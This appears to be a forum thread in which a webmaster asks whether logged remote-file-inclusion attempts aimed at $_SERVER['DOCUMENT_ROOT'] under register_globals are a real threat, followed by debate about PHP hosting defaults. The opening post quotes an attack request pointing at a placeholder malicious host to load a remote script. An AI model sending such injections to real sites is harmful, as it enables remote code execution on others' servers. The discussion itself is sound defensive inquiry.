$_SERVER['DOCUMENT_ROOT'] injection vulnerability?

PHP
1

My logs show HTTP requests that look like this:

/page?_SERVER[DOCUMENT_ROOT]=hxxp://malicioussite.com/badscript.txt

I have security measures that make these requests harmless, but am trying to discover if there are any circumstances where they can be a threat. While researching, I ran across this supposed vulnerability report: http://www.securityfocus.com/archive/1/archive/1/476261/100/0/threaded

The idea appears to be that if a page has this code:

include($_SERVER[‘DOCUMENT_ROOT’] . ‘/file.php’);

and register_globals = On, then the superglobal can be set by malicious query string input.

Although some superglobals definitely are calculated from user-provided input (the HTTP request and headers), I find it hard to believe that this one (and the others calculated by the server) could be so easily manipulated.

This source (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-4342), discussing the above vulnerability, says: “NOTE: a third party disputes this vulnerability because of the special nature of the SERVER superglobal array”, but I couldn’t find further discussion.

Any ideas, comments, resources to read?

[Added later:]
These replies seem to indicate that this is a non-vulnerability:
http://www.securityfocus.com/archive/1/archive/1/476437/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/476608/100/0/threaded

2

Since register globals has been off since PHP 4.2 and doesn’t even exist at all in PHP 6 something that requires register globals to be on to be vulnerable shouldn’t be unless the owner has deliberately disabled that part of their security so as to make their site vulnerable to attack.

Scripts that require register global to be on were written in the stone age and have never been updated since to plug any security holes. Chances are that there are dozens of worse vulnerabilities in such a script since you can fix the register globals issue by adding about three lines of code to the top of each script so if the author couldn’t spare a minute for that patch then they certainly will not have found the time to patch any other holes.

3

Maybe off by default since PHP 4.2, but the majority of sites are on shared hosting where the host determines the default settings for a server, and they usually try to provide maximum configuration flexibility for the many sites on each server, so the default for a server is often On, which can be overridden by the user, but how many bother or even know they can do it?

I’m not aware that PHP 6 is being widely implemented on shared servers.

So even if the “stone age” comment may apply, for scripts written more than a year or so ago (is that really ancient?), if this were a vulnerability, it would potentially affect millions of sites.

That’s the best argument that this is not a real vulnerability: the number of sites that get hacked may seem high, but percentage-wise it isn’t very high, and it isn’t anywhere near what it would be if $_SERVER superglobals could be injected from the outside.

Anyway, I added testing this so-called exploit to my to-do list, at the bottom, so I may never get around to it.

4

and every shared hosting server I have seen in the last five plus years has implemented the default of OFF. After all that change was a security fix for PHP and so not implementing it would leave the hosting provider open to having thousands of their users commencing a group action against the provider for not providing minimal security on the hosting.

PHP 4.2 was introduced many years ago and even 4.4 is now long dead. We are not talking about how things were one year ago. 22-Apr-2002 is a lot more than one year ago - it is over seven years ago - that is an extremely long time ago in internet terms. Remember also that even long before the default was changed from ON to OFF there would have been plenty of security advice around suggesting that it be turned off and so work on making scripts work with it off should have started about 10 years ago with all properly maintained scripts having plenty of time to implement the three line fix into each script well before PHP 4.2 was introduced back in April 2002.

5

That doesn’t correspond to my experience at all. If webhosts turn it Off, their customers complain.

After all that change was a security fix for PHP

It’s not fix. It’s a configuration setting. php.net can recommend turning the setting Off, but the default setting is determined in php.ini. The webhost sets that, and in some configurations can optionally allow users to define their own php.ini.

…not implementing it would leave the hosting provider open to having thousands of their users commencing a group action against the provider for not providing minimal security on the hosting.

See above. The complaints are the other way around. Shared hosting customers complain when it is Off.

We are not talking about how things were one year ago.

Many of the thousands of website hacks during 2008 - one year ago - were made possible by register_globals (and/or allow_url_fopen) being On, most often not by the choice of the webmasters but because it was the default on shared servers and the webmasters didn’t know they should turn it Off.

…there would have been plenty of security advice around suggesting that it be turned off and so work on making scripts work with it off should have started about 10 years ago with all properly maintained scripts having plenty of time…

There still is plenty of security advice around suggesting that it be turned off, but webmasters don’t go looking for that advice, and the majority of website PHP scripts are not well maintained, if they are maintained at all.

Your arguments seem to be coming from the assumptions that:

  1. Most shared webhosts jump on the latest upgrades as soon as they are announced. They do not. They want stability and happy customers. They wait until new versions are time-tested, to avoid instability. They upgrade when they must, because upgrades often produce confused or unhappy customers.

  2. Webmasters keep up with the latest vulnerabilities and configuration recommendations and implement them as soon as they know they should. Neither is even close to being true.

6

I tested multiple variations of this supposed exploit. One less thing on the to-do list.

In PHP 5.2.1, even with register_globals On, there is no vulnerability.

All it does is create a new variable that has a similar name. It does not modify or overwrite the superglobal, and it will have no effect on a script that is using the superglobal.

7

Not if they give the idiots the ability to turn it back on themselves via the php.ini - then theose using properly coded scripts are protected and the idiouts deserve whatever happens to them - usually they end up with their account cancelled for breaking the TOS due to whatever someone who breaks their script uploads to their site. I have seen this a lot.

Exactly, so there is no reason why the host need default it to on if they allow it to be overridden in the php.ini

Even more shared hosdting customers complain when it is on so following the default and allowing those who stupidly need ot on is the safest path.

And many thousands of millions of sites on shared hosting were unaffected because of their having it off to start with.

All the professionals do so you must be referring to hobbyists who don’t really know what they are doing.

All decent web hosting does keep up with the second of these and with PHP 4 now being dead all decent web hosts at least default people to using PHP 5 unless they specifically require PHP 4. You must only ever consider the el cheapo shared hosting providers who do it as a hobby.

8

@SteveWh - I don’t say this all too often, but I agree 100% with Stephan (Felgall) here.

PHP 4 is long gone. Register globals are LONG gone - any host with Register Globals on by default evidently don’t know what they’re doing.

I use shared hosting all the time and I have never come across hosting with Register Globals on by default - though I have seen one which gives an optional “upgrade” (i.e. downgrade) to register globals.

  1. Most shared webhosts jump on the latest upgrades as soon as they are announced. They do not. They want stability and happy customers. They wait until new versions are time-tested, to avoid instability. They upgrade when they must, because upgrades often produce confused or unhappy customers.

They shouldn’t upgrade with every minor release that comes out, that would be silly. But considering PHP 6 is in the making, PHP4 is simply unacceptable. These ‘customers’ sound pretty incompetent.

Webmasters keep up with the latest vulnerabilities and configuration recommendations and implement them as soon as they know they should. Neither is even close to being true.

Webmasters SHOULD keep up with the latest vulnerabilities. It’s like a fashion designer who doesn’t keep up with the current trends, or a newspaper editor who doesn’t know what’s going on.

Who is a webmaster? Well, in the 90s it was anyone who can use frontpage and liked the title.

Now, fortunately, there’s more behind it. Any “webmaster” should not only have strong understanding of HTML & CSS, JavaScript and a server-side language - but keep up-to-date with all of them. All of these topics are topics which are fast moving - Sure, HTML and CSS don’t get updated often but style does. For example, I wouldn’t consider someone a webmaster if they used table-based layouts, had mistaken margins for paddings, couldn’t find their way around the DOM in JS or didn’t know any form of MVC or didn’t know how to use prepared statements. In fact, I’d say alot of competent PHP developers had already built test sites using namespaces in PHP, prior to the recent PHP5.3 release, to be ready for it.

That is why we have forums and sites such as sitepoint. You need to keep up otherwise you’ll find yourself FAR behind the rest of the world.

If a customer isn’t, in my terms, a webmaster then I’d rather not have them as a customer, to be honest. I wouldn’t want to wait around for people who don’t take their job seriously - I’d rather get my servers up to date. If a programmer then experiences problems, I can offer to downgrade their PHP engine but it certainly wouldn’t be default.

Sure, you may take my definition of a webmaster to be a harsh one. It certainly cuts most web developers out of the equation - but, in the end, the term is webmaster, not webhobbyist.

9

I think SteveWh talked a lot of sense. I agree with him in that as far back as one or two years ago, there were some well-known host providers offering hostings with PHP 4. So the assumtion that host providers upgrading to the lastest PHP version is incorrect. You cannot dismiss these host providers as being hobbists surely. Some of them are big names.

I am afraid fergall is talking about what hosting providers and webmasters should be doing, not what is happening in the real world of scripting.

10

heh, the host advertising at the top of this page (for me, at the time of posting) has it ON, I’d say they’re pretty big.

11

[QUOTE=rageh;4329545]I think SteveWh talked a lot of sense. I agree with him in that as far back as one or two years ago, there were some well-known host providers offering hostings with PHP 4. So the assumtion that host providers upgrading to the lastest PHP version is incorrect. You cannot dismiss these host providers as being hobbists surely. Some of them are big names.QUOTE]

Yes but PHP 4.2 and after had it turned off by default. PHP 4.2 came out in April 2002 and so hosting providers would have adopted it by late 2003 even if they were slow to adopt it. I never claimed that providers update straight away but in this case over seven years have passed and most would have updated within the first year and the rest soon after. Going against a change in the default that was implemented for a reason is just plain stupid.

PHP 4 isn’t supported any more at all so it is now a free-for-all for anyone who manages to find any further security holes in it as they will never be patched. Providers therefore now only offer it for those hobbyists who didn’t code their scripts to work properly in the first place so that they don’t work with PHP 5 (properly written scripts could be switched from running on PHP 4 to running on PHP 5 without any changes needed).

While some hosting providers still allow register globals to be turned on no serious provider would have the default set that way. there is too great a risk of their being held responsible for security exploits if they do. I have dealt with dozens of hosting providers and none of those I have dealt with have been prepared to take this risk.

Register globals is dead and should be buried. There is no excuse for requiring it to be on any more. Scripts written in the past five years and more should have been written properly so as to not require that security hole to exist. It will not even exist in PHP 6 as it is considered to be that big a security risk. Given that it only takes three lines of code to patch a sscript to not need it anyone who doesn’t patch their script to fix it has failed to learn PHP properly in the first place and hasn’t yet earned the right to call themselves a PHP newbie.

12

Agreed.

I agree that we’re talking about what SHOULD happen rather than what DOES happen, but that doesn’t make what DOES happen right.

I haven’t used HostGator, and it does say in their support info that they use Register Globals on. That’s a pretty good reason not to use them, IMO.

13

Case in point above, it happens.